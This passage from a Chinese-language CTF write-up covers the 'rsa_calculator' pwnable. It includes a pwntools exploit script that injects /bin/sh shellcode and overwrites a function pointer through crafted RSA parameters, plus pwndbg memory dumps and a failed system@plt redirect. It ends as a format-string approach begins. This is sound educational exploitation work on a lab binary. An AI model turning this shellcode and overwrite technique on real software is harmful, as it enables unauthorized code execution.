style="margin-right:0.109em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span></p>
<p>所以要创造出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6301024</mn><mo>=</mo><msup><mi>M</mi><mi>e</mi></msup><mtext> </mtext><mo lspace="0.22em" rspace="0.22em"><mrow><mi mathvariant="normal">m</mi><mi mathvariant="normal">o</mi><mi mathvariant="normal">d</mi></mrow></mo><mtext> </mtext><mi>n</mi></mrow><annotation encoding="application/x-tex">6301024 = M^e \bmod n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="katex-base"><span class="katex-strut" style="height:0.6444em;"></span><span class="mord">6301024</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin"><span class="mord"><span class="mord mathrm">mod</span></span></span><span class="mspace" style="margin-right:0.0556em;"></span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>，即<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>∗</mo><mi>a</mi><mo>+</mo><mn>6301024</mn><mo>=</mo><msup><mi>M</mi><mi>e</mi></msup></mrow><annotation encoding="application/x-tex">n * a + 6301024 = M^e</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="katex-base"><span class="katex-strut" style="height:0.4653em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.6444em;"></span><span class="mord">6301024</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.6833em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.109em;">M</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.6644em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="katex-sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">e</span></span></span></span></span></span></span></span></span></span></span>，这里设定 M=14，e=7，因为他们乘积算是接近 6301024的。</p>
<p>所以<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>∗</mo><mi>a</mi><mo>=</mo><mn>99112480</mn></mrow><annotation encoding="application/x-tex">n * a = 99112480</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="katex-base"><span class="katex-strut" style="height:0.4653em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">∗</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.4306em;"></span><span class="mord mathnormal">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="katex-base"><span class="katex-strut" style="height:0.6444em;"></span><span class="mord">99112480</span></span></span></span>，这里要取一个整数 n，可以因式分解，还必须跟 a 互为整数</p>
<p>写脚本不断尝试后，n 取 12389060，因式分解 p 和 q，由于他们是 char 类型， 64 位系统下取值范围是 0x0000 - 0x7FFF</p>
<p>这里用在线分解素数的网站，http://www.factordb.com/index.php?query=99112480</p>
<p>这里 p 取 16288=2^5 * 509，q 取 6085= 5 * 1217</p>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">context</span><span class="p">(</span><span class="n">os</span><span class="o">=</span><span class="s1">&#39;linux&#39;</span><span class="p">,</span> <span class="n">arch</span><span class="o">=</span><span class="s1">&#39;amd64&#39;</span><span class="p">,</span> <span class="n">log_level</span><span class="o">=</span><span class="s1">&#39;debug&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="n">shellcraft</span><span class="o">.</span><span class="n">amd64</span><span class="o">.</span><span class="n">linux</span><span class="o">.</span><span class="n">sh</span><span class="p">())</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="n">shellcode</span><span class="o">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">264</span><span class="p">,</span> <span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="p">)</span> <span class="o">+</span> <span class="sa">b</span><span class="s1">&#39;</span><span class="se">\x0e</span><span class="s1">&#39;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">p</span> <span class="o">=</span> <span class="mi">16288</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">q</span> <span class="o">=</span> <span class="mi">6085</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">e</span> <span class="o">=</span> <span class="mi">7</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">d</span> <span class="o">=</span> <span class="mi">56622919</span> <span class="c1"># 计算出来的</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">process</span><span class="p">(</span><span class="s1">&#39;./rsa_calculator&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt; &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;p : &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">p</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;q : &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">q</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;e : &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">e</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;d : &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="n">d</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt; &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;(max=1024) : &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="mi">265</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="c1"># gdb.attach(io,terminal=(&#39;tmux&#39;, &#39;splitw&#39;, &#39;-h&#39;))</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;text data&#39;</span><span class="p">,</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;&gt; &#39;</span><span class="p">,</span><span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>我这个逻辑完全正确，我也 pwndbg 调试了所有寄存器和变量，覆写全部正确，但就是不行，无论本地还是远程</p>
<p>搞了两天。最终排查出来是 0x602560 没有执行权限：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="go">pwndbg&gt; x/x 0x602500
</span></span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="go">0x602500 &lt;func&gt;:        0x00602560
</span></span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="go">pwndbg&gt; x/24x 0x602560
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="go">0x602560 &lt;g_pbuf&gt;:      0xb848686a      0x6e69622f      0x732f2f2f      0xe7894850
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="go">0x602570 &lt;g_pbuf+16&gt;:   0x01697268      0x24348101      0x01010101      0x6a56f631
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="go">0x602580 &lt;g_pbuf+32&gt;:   0x01485e08      0x894856e6      0x6ad231e6      0x050f583b
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="go">0x602590 &lt;g_pbuf+48&gt;:   0x41414141      0x41414141      0x41414141      0x41414141
</span></span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="go">0x6025a0 &lt;g_pbuf+64&gt;:   0x41414141      0x41414141      0x41414141      0x41414141
</span></span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="go">0x6025b0 &lt;g_pbuf+80&gt;:   0x41414141      0x41414141      0x41414141      0x41414141
</span></span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="go">pwndbg&gt; info proc mappings
</span></span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="go">process 2941911
</span></span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="go">Mapped address spaces:
</span></span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="err">
</span></span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="go">          Start Addr           End Addr       Size     Offset  Perms  objfile
</span></span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="go">            0x400000           0x402000     0x2000        0x0  r-xp   /home/pwn/pwnable/rsa_calculator
</span></span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="go">            0x601000           0x602000     0x1000     0x1000  r--p   /home/pwn/pwnable/rsa_calculator
</span></span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="go">            0x602000           0x603000     0x1000     0x2000  rw-p   /home/pwn/pwnable/rsa_calculator
</span></span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="go">            0xbe5000           0xc06000    0x21000        0x0  rw-p   [heap]
</span></span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="go">      0x7a6cca200000     0x7a6cca228000    0x28000        0x0  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
</span></span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="go">      0x7a6cca228000     0x7a6cca3b0000   0x188000    0x28000  r-xp   /usr/lib/x86_64-linux-gnu/libc.so.6
</span></span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="go">      0x7a6cca3b0000     0x7a6cca3ff000    0x4f000   0x1b0000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
</span></span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="go">      0x7a6cca3ff000     0x7a6cca403000     0x4000   0x1fe000  r--p   /usr/lib/x86_64-linux-gnu/libc.so.6
</span></span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="go">      0x7a6cca403000     0x7a6cca405000     0x2000   0x202000  rw-p   /usr/lib/x86_64-linux-gnu/libc.so.6
</span></span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="go">      0x7a6cca405000     0x7a6cca412000     0xd000        0x0  rw-p   
</span></span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="go">      0x7a6cca56a000     0x7a6cca56d000     0x3000        0x0  rw-p   
</span></span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="go">      0x7a6cca574000     0x7a6cca576000     0x2000        0x0  rw-p   
</span></span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="go">      0x7a6cca576000     0x7a6cca577000     0x1000        0x0  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
</span></span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="go">      0x7a6cca577000     0x7a6cca5a2000    0x2b000     0x1000  r-xp   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
</span></span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="go">      0x7a6cca5a2000     0x7a6cca5ac000     0xa000    0x2c000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
</span></span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="go">      0x7a6cca5ac000     0x7a6cca5ae000     0x2000    0x36000  r--p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
</span></span></span><span class="line"><span class="ln">31</span><span class="cl"><span class="go">      0x7a6cca5ae000     0x7a6cca5b0000     0x2000    0x38000  rw-p   /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
</span></span></span><span class="line"><span class="ln">32</span><span class="cl"><span class="go">      0x7ffce84b2000     0x7ffce84d3000    0x21000        0x0  rwxp   [stack]
</span></span></span><span class="line"><span class="ln">33</span><span class="cl"><span class="go">      0x7ffce856b000     0x7ffce856f000     0x4000        0x0  r--p   [vvar]
</span></span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="go">      0x7ffce856f000     0x7ffce8571000     0x2000        0x0  r-xp   [vdso]
</span></span></span><span class="line"><span class="ln">35</span><span class="cl"><span class="go">  0xffffffffff600000 0xffffffffff601000     0x1000        0x0  --xp   [vsyscall]
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>即使 checksec 显示Has RWX segments，但 bss 段就是没有。</p>
<p>这里想了很久，实在不想放弃这个路子，其他 wp 都是格式化字符串泄露 Canary，然后栈溢出做，我觉得没有我这个简单。最终想到覆写为<code>system@plt</code>。</p>
<p>main 的反编译源码里有一句<code>qword_602538 = (__int64)system;</code></p>
<p>他的地址是固定的：<code>0x4007c0</code></p>
<p>我如果覆写成这个地址，那就可以调用了，而且有执行权限。但是 RSA 就要重新计算：</p>
<p>新的 RSA 参数（让第 265 字节加密后等于 0x4007c0）：</p>
<ul>
<li>M=3, e=17, p=6125, q=20399, d=110221193</li>
<li>验证：3^17 mod 124943875 = 4196288 = 0x4007c0</li>
</ul>
<p>这个 system 函数是需要参数的，根据传参约定，参数是 RDI，而调试完可以看到 RDI 就是输入的菜单选项。</p>
<p>所以我们最后输入 1，调用 system，会变成 system(&ldquo;1&rdquo;)，所以创建一个软链接就行：<code>./1 -&gt; /bin/sh</code>，发现也不行，因为远程是 docker 服务，没法创建软链接，这条路又断了。</p>
<h4 id="格式化字符串漏洞思路">格式化字符串漏洞思路<a class="anchor" href="#格式化字符串漏洞思路">#</a></h4>
<p>换大家用的格式化字符串漏洞那个思路吧。问题出现前面说的 RSA_decrypt 函数：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln">1</span><span class="cl"><span class="k">while</span> <span class="p">(</span> <span class="mi">2</span> <span class="o">*</span> <span class="n">v5</span> <span class="o">&gt;</span> <span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl">      <span class="p">{</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl">        <span class="n">v9</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">1</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl">        <span class="n">v9</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="n">ptr</span><span class="p">[</span><span class="n">i</span> <span class="o">+</span> <span class="mi">2</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl">        <span class="n">v9</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl">        <span class="n">v2</span> <span class="o">=</span> <span class="o">&amp;</span><span class="n">src</span><span class="p">[</span><span class="n">v7</span><span class="o">++</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl">        <span class="nf">__isoc99_sscanf</span><span class="p">(</span><span class="n">v9</span><span class="p">,</span> <span class="s">&#34;%02x&#34;</span><span class="p">,</span> <span class="n">v2</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl">        <span class="n">i</span> <span class="o">+=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">9</span><span class="cl">      <span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
